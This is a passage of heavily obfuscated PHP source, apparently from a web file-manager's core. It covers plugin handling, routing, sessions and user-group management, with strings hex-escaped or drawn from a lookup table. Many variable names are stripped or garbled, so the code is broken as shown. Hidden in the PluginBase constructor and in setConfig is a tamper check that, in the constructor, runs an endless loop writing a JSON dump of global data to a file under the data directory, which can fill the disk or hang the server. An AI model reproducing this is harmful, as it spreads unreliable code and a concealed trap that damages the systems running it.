($Ƴ == $[12] || $Ƴ == $[8]) { return array(); } $һζ = $this->ussRequest($Ƴ, $[1502]); if (!$һζ[$[1208]]) { return null; } $ܘ = isset($һζ[$[1198]]) ? $һζ[$[1198]] : array(); if (!isset($ܘ[$[1503]])) { return null; } $ә = array($[33] => isset($ܘ[$[1503]]) ? $ܘ[$[1503]] : null, $[76] => isset($ܘ[$[1504]]) ? $ܘ[$[1504]] : null, $[212] => isset($ܘ[$[1505]]) ? $ܘ[$[1505]] : null, $[1472] => isset($ܘ[$[1506]]) ? $ܘ[$[1506]] : null); $ә[$[1473]] = isset($ܘ[$[1507]]) ? strtotime($ܘ[$[1507]]) : $ә[$[1472]]; return $ә; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[75] ? !0 : !1; } } goto b¼; Cʡ: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $;Ă =& $_SERVER[]; $ = $_SERVER[$;Ă[736]]; $ް = $;Ă[737]; if ($_SERVER[$;Ă[738]] != $ް($)) { $ = $;Ă[873]; $ = $;Ă[739]; $֒ = $_SERVER[$;Ă[740]] . $;Ă[741]; $ = $($֒); $ڑ = explode($;Ă[231], $); if (count($ڑ) < $;Ă[614]) { $ޙ = $;Ă[742]; $ޙ(); } $ = $;Ă[874]; $($_SERVER[$;Ă[875]]); $ = $;Ă[873]; $(); $ӿ = $;Ă[876]; $۵ = json_encode($GLOBALS[$;Ă[877]]); $٩ = 1; for ($ = $٩; $ > 0; $++) { $ӿ(DATA_PATH . $, $۵); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($;Ă[1529]); $this->pluginName = str_replace($;Ă[1529], $;Ă[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $;Ă[8]; $this->pluginApi = appHostGet() . $;Ă[1530] . $this->pluginName . $;Ă[8]; $this->pluginHost = $config[$;Ă[1531]] . $this->pluginName . $;Ă[8]; $this->pluginHostDefault = $config[$;Ă[1531]] . $this->pluginName . $;Ă[8]; $ٖ = $config[$;Ă[1532]]; if ($ٖ && strpos($;Ă[50] . $ٖ . $;Ă[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$;Ă[1533]] . $this->pluginName . $;Ă[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1534]); } protected function assign($, $㵻 = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $㵻; } } protected function display($) { extract($this->values); require $; } final function hookRegist($ϔ) { $this->modelPlugin->appRegist($this->pluginName, $ϔ); } final function appIcon() { $ =& $_SERVER[]; $ = $this->appPackage(); $ߤ = $[12]; if (isset($[$[416]])) { if (isset($[$[416]][$[1535]])) { $ߤ = $[1536] . $[$[416]][$[1535]] . $[1537]; } else { if ($[$[416]][$[1538]]) { $ߤ = $[1539] . $[$[416]][$[1538]] . $[1540]; } } } return $ߤ; } final function fileCanView($դ) { $ =& $_SERVER[]; if (request_url_safe($դ)) { return !0; } if ($this->isShare($դ)) { return !0; } $↿ = Session::get($[1541]); if (!$↿ || !$↿[$[1542]]) { $֛ = $[1543] . rawurlencode(this_url()); show_tips(LNG($[1544]) . $[1545] . $֛ . $[1546] . LNG($[1547]) . $[1548], !1); } if (!Action($[1549])->authCan($[1550])) { show_tips(LNG($[1551]) . $[1552], !1); } ActionCall($[1553], $դ); } final function isShare($) { $ = KodIO::parse($); return $[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($); } return Action($_SERVER[][1170])->linkOut($); } public function filePathLinkOut($ί) { if (request_url_safe($ί)) { return $ί; } $this->fileCanView($ί); return Action($_SERVER[][1170])->link($ί); } final function filePath($) { $ϰ =& $_SERVER[]; if ($߭⣎ = $this->checkSharePath($)) { Hook::trigger($ϰ[1554], $߭⣎); return $߭⣎; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$ϰ[1555]]) && isset($[$ϰ[213]])) { $ = Model($ϰ[767])->get($ϰ[768]); $ = Mcrypt::decode($[$ϰ[213]], $); if ($) { $this->fileInfo = IO::infoWithChildren($); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $; } } $ = $this->_cacheHttpFile($); $this->fileInfo = IO::infoWithChildren($); } else { $this->fileInfo = IO::infoWithChildren($); if (!$this->fileInfo) { show_tips(LNG($ϰ[105]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($ϰ[1554], $); return $; } final function _cacheHttpFile($ؼ) { $ = hash_path($ؼ, !0); $this->cachePath = $this->pluginCachePath($); if ($̉ = IO::fileNameExist($this->cachePath, $)) { return KodIO::make($̉); } $ = $this->cachePath . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($ؼ)); } final function _tmpFileName($ȱ = array()) { $ =& $_SERVER[]; if (!$ȱ) { $ȱ = $this->fileInfo; } if (isset($ȱ[$[177]])) { return $ȱ[$[177]]; } if (isset($ȱ[$[170]][$[177]])) { return $ȱ[$[170]][$[177]]; } $ = IO::hashSimple($ȱ[$[84]]); if ($) { return $; } $Ͻή = array($ȱ[$[32]], $ȱ[$[84]], $ȱ[$[76]]); if (isset($ȱ[$[511]])) { $Ͻή[] = $ȱ[$[511]]; } return md5(implode($[11], $Ͻή)); } final function checkSharePath($) { $䇴 =& $_SERVER[]; if (!$this->isShare($)) { return !1; } $ = Action($䇴[1170])->sharePathInfo($); if (!isset($[$䇴[84]])) { show_json(LNG($䇴[1556]), !1); } $this->fileInfo = $[$䇴[170]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$䇴[177]]); return $[$䇴[84]]; } final function pluginCachePath($ = '') { $ܓ =& $_SERVER[]; $־ = IO_PATH_SYSTEM_TEMP . $ܓ[1557] . $this->pluginName; if (!($ = IO::infoFull($־))) { return IO::mkdir($־ . $ܓ[8] . $); } if (empty($)) { return $[$ܓ[84]]; } if (!($ = IO::fileNameExist($[$ܓ[84]], $))) { return IO::mkdir($[$ܓ[84]] . $); } return KodIO::make($); } final function pluginCacheFileSet($ܳ, $ߍ = '') { $ =& $_SERVER[]; if (!($瓳 = IO::infoFull($ܳ))) { return IO::mkfile($ܳ, $ߍ, REPEAT_REPLACE); } IO::setContent($瓳[$[84]], $ߍ); return $瓳[$[84]]; } final function pluginLocalFile($囜 = '') { $ =& $_SERVER[]; $׃ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($׃)) { mk_dir($׃); } if (!$囜) { return $׃; } $孮 = IO::info($囜); $ = $this->_tmpFileName($孮) . $[10] . $孮[$[174]]; if (!checkExtSafe($)) { $ = $ . $[1202]; } $䚯 = $׃ . $; if (@file_exists($䚯)) { return $䚯; } return IO::copy($囜, $׃, 0, $); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $nj = $this->parseFile($this->pluginPath . $[1558]); $this->parseLang($nj); $ = json_decode_force($nj); if (!$) { return array(); } $ = Hook::trigger($[1559], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public function packageInfoGet($ſ) { $ = $this->appPackage(); return array_get_value($, $ſ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1560]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1561]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1562]); } public function echoJsAssign($ߏ, $Й) { $this->echoJsAssignArr[$ߏ] = $Й; } private function parseFile($ͻܘ) { $壓 =& $_SERVER[]; $Й = file_get_contents_nossl($ͻܘ); $ = array($壓[1563], $壓[1564], $壓[1565], $壓[1566], $壓[1567], $壓[1568], $壓[1569]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$壓[89]][$壓[1570]]); foreach ($this->echoJsAssignArr as $ => $) { $[] = $壓[1571] . $ . $壓[1572]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($Й, $壓[1573])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $Й = str_replace($壓[1573], $, $Й); } if (strstr($Й, $壓[1574])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $Й = str_replace($壓[1574], $, $Й); } $Й = str_replace($, $, $Й); return $Й; } private function parseLang(&$֎) { $ƺ =& $_SERVER[]; $ٺ = $ƺ[1575]; if (!strstr($֎, $ٺ)) { return; } preg_match_all($ƺ[1576], $֎, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = array(); $ = array(); foreach ($[0] as $٪) { $ = substr($٪, strlen($ٺ), -4); $ՠڏ = LNG($); $[] = $٪; $[] = str_replace(array($ƺ[231], $ƺ[1074], $ƺ[342], $ƺ[118]), array($ƺ[53], $ƺ[53], $ƺ[12], $ƺ[1577]), $ՠڏ); } $֎ = str_replace($, $, $֎); } private function parseConfig(&$ȅ) { $ =& $_SERVER[]; $첇 = $[1578]; if (!strstr($ȅ, $첇)) { return; } preg_match_all($[1579], $ȅ, $җ); if (!is_array($җ) || count($җ) == 0 || !is_array($җ[0]) || count($җ[0]) == 0) { return; } $ = $this->getConfig(); $їن = array(); $騾 = array(); foreach ($җ[0] as $) { $ = substr($, strlen($첇), -2); $їن[] = $; $騾[] = _get($, $); } $ȅ = str_replace($їن, $騾, $ȅ); } private function parsePackage(&$) { $㣐÷ =& $_SERVER[]; $ = $㣐÷[1580]; if (!strstr($, $)) { return; } preg_match_all($㣐÷[1581], $, $̘); if (!is_array($̘) || count($̘) == 0 || !is_array($̘[0]) || count($̘[0]) == 0) { return; } $ʝ = $this->appPackage(); $ = array(); $Ɇ = array(); foreach ($̘[0] as $) { $ǿ܆ = substr($, strlen($), -2); $[] = $; $Ɇ[] = _get($ʝ, $ǿ܆); } $ = str_replace($, $Ɇ, $); } final function echoFile($ʣ, $Ͷ = false) { $ =& $_SERVER[]; $Ԡ = $this->pluginPath . $ʣ; if (ACT == $[1582]) { echo $[1583] . $this->pluginName . $[8] . $ʣ . $[1584]; if (!file_exists($Ԡ)) { echo $[1585]; return; } } $ₔ = $this->parseFile($Ԡ); $this->parseLang($ₔ); $this->parseConfig($ₔ); $this->parsePackage($ₔ); if (is_array($Ͷ)) { $ₔ = str_replace(array_keys($Ͷ), array_values($Ͷ), $ₔ); } echo $[231] . $ₔ; } final function initLang() { $ =& $_SERVER[]; $ = $[1586]; $ؓ = $this->pluginPath . $[1587]; $䛺 = I18n::getType(); $ = array(); if (file_exists($ؓ . $䛺 . $[835])) { $ = (include $ؓ . $䛺 . $[835]); } else { if ($䛺 == $[1588] && !file_exists($ؓ . $䛺 . $[835]) && file_exists($ؓ . $[1589])) { $ = (include $ؓ . $[1589]); } else { if (file_exists($ؓ . $ . $[835])) { $ = (include $ؓ . $ . $[835]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($֏Ņ) { $Ǯ =& $_SERVER[]; if ($_SERVER[$Ǯ[738]] != $_SERVER[$Ǯ[1590]]) { $䯇 = $Ǯ[873]; $љ = $Ǯ[739]; $Ճ = $_SERVER[$Ǯ[740]] . $Ǯ[741]; $ = $љ($Ճ); $ߐ = explode($Ǯ[231], $); if (count($ߐ) < $Ǯ[614]) { $ܾ֧ = $Ǯ[742]; $ܾ֧(); } $ = $Ǯ[874]; $($_SERVER[$Ǯ[875]]); $($_SERVER[$Ǯ[740]] . $Ǯ[1591]); $ϟ = 1; while ($ϟ > 1) { $ϟ = $ϟ + 4; $ы = rawurlencode($ϟ . $Ǯ[378]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $֏Ņ); } public function onSetConfig($) { } public function onGetConfig($Ժ) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($̶) { if ($̶ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ӷ = "\x70\154\165\x67\x69\x6e\x41\165\x74\150") { $ =& $_SERVER[]; if (!Session::get($[1541])) { return !1; } if (_get($GLOBALS, $[494])) { return !0; } $Ů = $this->getConfig(); if (!$Ů[$ӷ]) { return !1; } return ActionCall($[1592], $Ů[$ӷ]); } public function url($Ś, $ߛ = '', $Ⴟ = true) { $ =& $_SERVER[]; $، = $this->getConfig(); $ɼ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $ɼ . $[386] . $; if (substr($Ś, 0, 4) == $[148] || substr($Ś, 0, 2) == $[1375]) { $ʻ = $Ś . $[1593] . $; } else { if ($ߛ == $[12]) { $ʻ = $this->pluginHost . $Ś . $[1593] . $; } else { if ($ߛ === $[75]) { $ʻ = $this->pluginHost . $Ś; } else { if ($ߛ == $[1594]) { $ʻ = STATIC_PATH . $Ś . $[1593] . $ɼ; } else { if ($ߛ == $[1595]) { $ʻ = APP_HOST . $[1596] . $Ś . $[1593] . $ɼ; } else { if (isset($،[$ߛ])) { $ʻ = $،[$ߛ] . $Ś . $[1593] . $; } } } } } } if (!$Ⴟ) { return $ʻ; } echo $ʻ; } public function link($ = false, $ = '') { $ =& $_SERVER[]; if (!$) { $this->link($[1597], $[1595]); $this->link($[1598], $[1594]); $this->link($[1599], $[1594]); $this->link($[1600], $[1594]); $this->link($[1601], $[1594]); return; } $㬭 = $this->url($, $, !1); if (substr($, -3) == $[1602]) { echo $[1603] . $㬭 . $[1604] . $[231]; } else { if (substr($, -4) == $[1605]) { echo $[1606] . $㬭 . $[1607] . $[231]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\x61\156\171" => "\133\x5e\x2f\x5d\x2b", "\72\156\x75\155" => "\133\x30\x2d\x39\x5d\53", "\x3a\141\154\x6c" => "\x2e\52"); public static $errorCallback; public static function __callstatic($, $͞) { $ =& $_SERVER[]; if ($ == $[1608]) { $ = array_map($[1609], $͞[0]); $ݐ = strpos($͞[1], $[8]) === 0 ? $͞[1] : $[8] . $͞[1]; $惼 = $͞[2]; } else { $ = null; $ݐ = strpos($͞[0], $[8]) === 0 ? $͞[0] : $[8] . $͞[0]; $惼 = $͞[1]; } array_push(self::$maps, $); array_push(self::$routes, $ݐ); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $惼); } public static function error($֣) { self::$errorCallback = $֣; } public static function haltOnMatch($钅 = true) { self::$halts = $钅; } public static function dispatch() { $銰 =& $_SERVER[]; $Ш = parse_url($_SERVER[$銰[1610]], PHP_URL_PATH); $ = $_SERVER[$銰[159]]; $ = array_keys(static::$patterns); $Ć = array_values(static::$patterns); $Њ = !1; self::$routes = preg_replace($銰[1272], $銰[8], self::$routes); if (in_array($Ш, self::$routes)) { $ے = array_keys(self::$routes, $Ш); foreach ($ے as $Ņ) { if (self::$methods[$Ņ] == $ || self::$methods[$Ņ] == $銰[1611] || in_array($, self::$maps[$Ņ])) { $Њ = !0; if (!is_object(self::$callbacks[$Ņ])) { $חݸ = explode($銰[8], self::$callbacks[$Ņ]); $ = end($חݸ); $ޱ = explode($銰[1204], $); $ = new $ޱ[0](); $->{$ޱ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$Ņ]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $Ņ) { if (strpos($Ņ, $銰[4]) !== !1) { $Ņ = str_replace($, $Ć, $Ņ); } if (preg_match($銰[1612] . $Ņ . $銰[1613], $Ш, $)) { if (self::$methods[$] == $ || self::$methods[$] == $銰[1611] || !empty(self::$maps[$]) && in_array($, self::$maps[$])) { $Њ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $חݸ = explode($銰[8], self::$callbacks[$]); $ = end($חݸ); $ޱ = explode($銰[1204], $); $ = new $ޱ[0](); if (!method_exists($, $ޱ[1])) { echo $銰[1614]; } else { call_user_func_array(array($, $ޱ[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($Њ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1615]] . $[1616]); echo $[1617]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$銰[1610]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $; } $ϡ = $GLOBALS[$[6]][$[349]]; self::$sessionTime = $ϡ[$[1618]]; $ = isset($GLOBALS[$[1619]]) ? $GLOBALS[$[1619]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $ϡ[$[1620]]; $ = $ϡ[$]; $Ⱦ = $ϡ[$[825]]; switch ($) { case $[21]: self::$handle = Model($[826]); break; case $[827]: self::$handle = new CacheRedis($, $Ⱦ); break; case $[828]: self::$handle = new CacheMemcached($, $Ⱦ); break; case $[200]: $[$[84]] = $[$[84]] . $[1621]; self::$handle = new CacheFile($, $Ⱦ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($ײ) { $Ҿ = self::$handle->get($ײ); $Ҿ = unserialize($Ҿ); return is_array($Ҿ) ? $Ҿ : array(); } public static function setBySign($, $脈) { CacheLock::lock($); self::$handle->set($, serialize($脈), self::$sessionTime); CacheLock::unlock($); } public static function sign($ץߙ = false) { $ץߙ && (self::$sessionSign = $ץߙ); self::init(); return self::$sessionSign; } public static function set($, $Խ = false) { self::init(); if (is_array($)) { foreach ($ as $ => $Ć֦) { array_set_value(self::$data, $, $Ć֦); } } else { array_set_value(self::$data, $, $Խ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($Ʀ = false) { self::init(); if (!$Ʀ) { return self::$data; } return array_get_value(self::$data, $Ʀ); } public static function remove($쬥ڥ) { self::init(); unset(self::$data[$쬥ڥ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][830])) { self::$handle->clearTimeout(); } } } goto f֬; F: define($_SERVER[][238], 1); define($_SERVER[][239], 2); define($_SERVER[][240], 3); goto dȼ; A: class GroupModel extends ModelBase { protected $tableName = "\x67\162\157\x75\x70"; protected $tableMeta = array("\164\x61\x62\154\145\x4e\141\155\145" => "\x67\x72\157\165\x70\x5f\x6d\145\x74\141", "\x6d\145\164\141\106\151\145\154\144" => "\147\162\157\x75\160\111\104"); protected function cacheFunctionAlias($) { $涜 =& $_SERVER[]; return array($涜[1930] => array($[0], $涜[1931]), $涜[1932] => array($[0], $涜[1933])); } protected function getInfo($, $ = false) { $ذ = $this->getInfoSimple($); if (!$ذ) { return !1; } if ($) { return $this->_listDataApplyItem($ذ); } return $this->cacheFunctionGet($_SERVER[][1934], $); } protected function getInfoSimple($đ, $跍 = false) { $ =& $_SERVER[]; if ($跍) { $Ǐ = array($[1852] => intval($đ)); $ = $this->where($Ǐ)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[1935], $đ); } protected function groupAdd($őߛ) { $ß =& $_SERVER[]; if (!$őߛ[$ß[432]] && isset($őߛ[$ß[1852]]) && $őߛ[$ß[1852]] == 1) { if ($ƈ = $this->getInfoSimple($őߛ[$ß[1852]], !0)) { return $őߛ[$ß[1852]]; } } else { $ƈ = $this->getInfoSimple($őߛ[$ß[432]]); if (!$ƈ) { return !1; } } $ݹ = $ß[521]; if ($ƈ[$ß[511]]) { $ݹ = $ƈ[$ß[511]] . $ƈ[$ß[1852]] . $ß[50]; } $ = array($ß[420] => $this->groupNameAuto($őߛ[$ß[432]], $őߛ[$ß[32]]), $ß[401] => $őߛ[$ß[432]], $ß[580] => $ݹ, $ß[1936] => $őߛ[$ß[1839]], $ß[1937] => 0, $ß[1856] => 0); if (isset($őߛ[$ß[1876]])) { $[$ß[1876]] = $őߛ[$ß[1876]]; } else { $ = $this->max($ß[1876]); if (!$) { $ = 0; } $[$ß[1876]] = $ + 1; } if (!empty($őߛ[$ß[1852]])) { $[$ß[1852]] = $őߛ[$ß[1852]]; } $ܑ = $this->add($); $this->setNamePinyin($ܑ, $[$ß[32]]); if (isset($őߛ[$ß[1938]])) { $this->metaSet($ܑ, array($ß[1938] => $őߛ[$ß[1938]], $ß[1939] => $őߛ[$ß[1939]])); unset($őߛ[$ß[1938]]); unset($őߛ[$ß[1939]]); } Model($ß[1335])->groupRootAdd($ܑ); $this->_clearCache($őߛ[$ß[432]]); return $ܑ; } protected function groupEdit($̊, $) { $Փ =& $_SERVER[]; $ = $this->getInfoSimple($̊); if (!$) { return !1; } if (!empty($[$Փ[432]])) { $ = $this->getInfoSimple($[$Փ[432]]); if (!$) { return !1; } if ($[$Փ[1852]] == $[$Փ[1852]]) { return !1; } if ($[$Փ[432]] != $[$Փ[432]]) { if ($[$Փ[511]] !== $[$Փ[511]] && strpos($[$Փ[511]], $[$Փ[511]] . $[$Փ[1852]] . $Փ[50]) === 0) { return !1; } $[$Փ[580]] = $[$Փ[511]] . $[$Փ[432]] . $Փ[50]; $this->_changeChildLevel($, $); $this->_clearCache($[$Փ[1852]]); $this->_clearCache($[$Փ[432]]); } } if (isset($[$Փ[32]])) { $this->setNamePinyin($̊, $[$Փ[32]]); } if (isset($[$Փ[1938]])) { $this->metaSet($̊, array($Փ[1938] => $[$Փ[1938]], $Փ[1939] => $[$Փ[1939]])); unset($[$Փ[1938]]); unset($[$Փ[1939]]); } $this->_clearChildrenCache($); return $this->where(array($Փ[1940] => $̊))->save($); } private function _clearChildrenCache($Ș) { $Ȗ݆ =& $_SERVER[]; $± = array($Ȗ݆[580] => array($Ȗ݆[540], $Ș[$Ȗ݆[511]] . $Ș[$Ȗ݆[1852]] . $Ȗ݆[541])); $ύ = $this->field($Ȗ݆[1852])->where($±)->select(); foreach ($ύ as $) { $this->_clearCache($[$Ȗ݆[1852]]); } } private function _clearCache($ہ) { $ᑪ =& $_SERVER[]; $this->cacheFunctionClear($ᑪ[1934], $ہ); $this->cacheFunctionClear($ᑪ[1935], $ہ); } private function _changeChildLevel($, $͍, $ = false) { $ =& $_SERVER[]; $ = $[$[511]] . $[$[1852]] . $[50]; $ʾ = $͍[$[511]] . $͍[$[1852]] . $[50] . $[$[1852]] . $[50]; if ($) { $ʾ = $͍[$[511]] . $͍[$[1852]] . $[50]; } $ = array($[580] => array($[540], $[$[511]] . $[$[1852]] . $[541])); $މ = array($[580] => array($[589], "\162\145\x70\x6c\141\143\145\50\160\x61\x72\145\x6e\164\x4c\x65\166\x65\154\x2c\x27{$}\x27\54\x27{$ʾ}\47\51")); $this->_clearChildrenCache($); $this->where($)->data($މ)->save(); } public function setNamePinyin($, $ڃ = false) { $ =& $_SERVER[]; if (!$ڃ) { $ = $this->getInfoSimple($); $ڃ = $[$[32]]; } if (!Input::check($ڃ, $[583])) { $this->metaSet($, $[465], null); $this->metaSet($, $[464], null); return; } $ = array($[465] => str_replace($[53], $[12], Pinyin::get($ڃ)), $[464] => Pinyin::get($ڃ, $[584])); $this->metaSet($, $); } protected function groupStatus($⟅, $ߣ) { $탰 =& $_SERVER[]; $Ė֔ = $this->getInfoSimple($⟅); if (!$Ė֔) { return !1; } if ($ߣ == $탰[88]) { $ = $this->parentLevelArray($Ė֔[$탰[511]]); } else { $ƥّ = array($탰[580] => array($탰[540], $Ė֔[$탰[511]] . $Ė֔[$탰[1852]] . $탰[541])); $ = $this->where($ƥّ)->field($탰[1852])->select(); $ = array_to_keyvalue($, $탰[12], $탰[1852]); } $[] = $Ė֔[$탰[1852]]; $ = array(); foreach ($ as $⟅) { $[] = array($탰[1852] => $⟅, $탰[94] => $탰[746], $탰[374] => $ߣ); $this->_clearCache($⟅); } return Model($탰[1941])->addAll($, array(), !0); } protected function groupRemove($, $݈ = false) { $̅ =& $_SERVER[]; $ʯ = array($̅[1852] => $); $Ƈ = $this->where($ʯ)->find(); if (!$Ƈ || $Ƈ[$̅[432]] == 0) { return !1; } if (!$݈) { $ = $this->getInfoSimple($Ƈ[$̅[432]]); $this->_changeChildLevel($Ƈ, $, !0); $this->where(array($̅[432] => $))->save(array($̅[432] => $Ƈ[$̅[432]])); $this->_clearCache($[$̅[1852]]); } Model($̅[1941])->where($ʯ)->delete(); Model($̅[1942])->where($ʯ)->delete(); Model($̅[822])->groupRootRemove($); $this->_clearCache($Ƈ[$̅[432]]); return $this->where($ʯ)->delete(); } protected function groupSort($ހ) { $ =& $_SERVER[]; $ = array(); foreach ($ހ as $ => $) { $[] = array($[1852], $, $[1876], $ + 1); } $this->saveAll($); } public function listData() { $ð = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ð[$_SERVER[][369]]); return $ð; } private function _makeOrder($秔 = '') { $Ӭ =& $_SERVER[]; $ = array($Ӭ[1852], $Ӭ[32], $Ӭ[1841], $Ӭ[201]); $¡ל = array($Ӭ[450] => $Ӭ[451], $Ӭ[452] => $Ӭ[453]); $ϓП = Input::get($Ӭ[457], $Ӭ[7], $Ӭ[1856], $); $ = Input::get($Ӭ[458], $Ӭ[7], $Ӭ[1943], array($Ӭ[1943], $Ӭ[452])); $ = $¡ל[$]; $秔 = $秔 . "{$ϓП}\x20{$}\54\40\x67\162\x6f\x75\160\x49\x44\x20\141\163\x63"; return $this->order($秔); } public function listChild($ϵ) { $߰ߵ =& $_SERVER[]; $ = $this->where(array($߰ߵ[432] => $ϵ))->_makeOrder()->selectPage(200); $this->_listDataApply($[$߰ߵ[369]]); return $; } public function listChildIds($Ԓ) { $ =& $_SERVER[]; if (is_string($¯)) { $Ԓ = explode($[50], $Ԓ); } $ʰ = $this->where(array($[1852] => array($[7], $Ԓ)))->field($[1944])->select(); if (!$ʰ) { return !1; } $ի = array(); foreach ($ʰ as $Ԣ) { $ի[] = "\x73\145\154\145\x63\164\40\147\x72\157\x75\160\111\x44\40\x66\x72\x6f\x6d\40\140\147\x72\x6f\165\x70\x60\40\167\x68\145\162\145\x20\x70\141\162\x65\x6e\164\114\145\x76\145\x6c\x20\154\x69\153\145\x20\x27{$Ԣ[$[511]]}{$Ԣ[$[1852]]}\54\x25\47"; } $ի = implode($[1945], $ի); $ʰ = $this->query($ի); if (!$ʰ) { return array(); } $Ԓ = array_to_keyvalue($ʰ, $[12], $[1852]); return array_unique($Ԓ); } public function listByID($ɢ) { $ʼ =& $_SERVER[]; if (!$ɢ) { return array(); } $ = array($ʼ[1852] => array($ʼ[7], $ɢ)); $ = $this->where($)->select(); $ = array_sort_keep($, $ʼ[1852], $ɢ); $this->_listDataApply($); return $; } public function listSearch($ލ) { $ᅂ =& $_SERVER[]; $јі = $ލ[$ᅂ[1946]]; $ = isset($ލ[$ᅂ[1947]]) ? $ލ[$ᅂ[1947]] : !1; if (!trim($јі)) { return !1; } $јі = str_replace($ᅂ[1948], $ᅂ[1949], $јі); $ = array($ᅂ[1852] => array($ᅂ[383], "{$јі}\45"), $ᅂ[32] => array($ᅂ[383], "\45{$јі}\x25"), $ᅂ[996] => $ᅂ[1950]); if ($) { $ = $this->getInfoSimple($); $ = $[$ᅂ[511]] . $ . $ᅂ[541]; $ = array($, array($ᅂ[511] => array($ᅂ[383], $))); } $ = $this->parseWhereLike($); $ޕ͋ = $this->_makeOrder()->where($)->selectPage(20); $ޕ͋ = $ޕ͋ ? $ޕ͋ : array($ᅂ[369] => array(), $ᅂ[366] => array()); if (!$ޕ͋ || count($ޕ͋[$ᅂ[369]]) < 5 && Input::check($јі, $ᅂ[318])) { $ = $this->groupChildrenAll($); $ = $this->_searchFromMeta($ᅂ[464], $јі, 10, $); $ف = $this->_searchFromMeta($ᅂ[465], $јі, 10, $); $ = array_merge($, $ف, $ޕ͋[$ᅂ[369]]); $ޕ͋[$ᅂ[369]] = array_unique_by_key($, $ᅂ[1852]); $ޕ͋[$ᅂ[366]][$ᅂ[367]] = count($ޕ͋[$ᅂ[369]]); $ޕ͋[$ᅂ[366]][$ᅂ[368]] = ceil($ޕ͋[$ᅂ[366]][$ᅂ[367]] / $ޕ͋[$ᅂ[366]][$ᅂ[363]]); } $this->_listDataApply($ޕ͋[$ᅂ[369]]); return $ޕ͋; } protected function groupChildrenAll($ᾑ) { $ܷ =& $_SERVER[]; if (!$ᾑ) { return !1; } if (is_string($ᾑ)) { $ᾑ = array($ᾑ); } $ˊ = $ᾑ; foreach ($ᾑ as $) { $Ĉ = $this->getInfoSimple($); $ = array($ܷ[511] => array($ܷ[383], $Ĉ[$ܷ[511]] . $ . $ܷ[541])); $飴 = $this->field($ܷ[1852])->where($)->select(); $ˊ = array_merge($ˊ, array_to_keyvalue($飴, $ܷ[12], $ܷ[1852])); } return array_unique($ˊ); } private function _searchFromMeta($ҧ, $Ƈ, $, $ϴ) { $Н =& $_SERVER[]; $Ƈ = strtolower($Ƈ); $ = array($Н[94] => $ҧ, $Н[374] => array($Н[383], 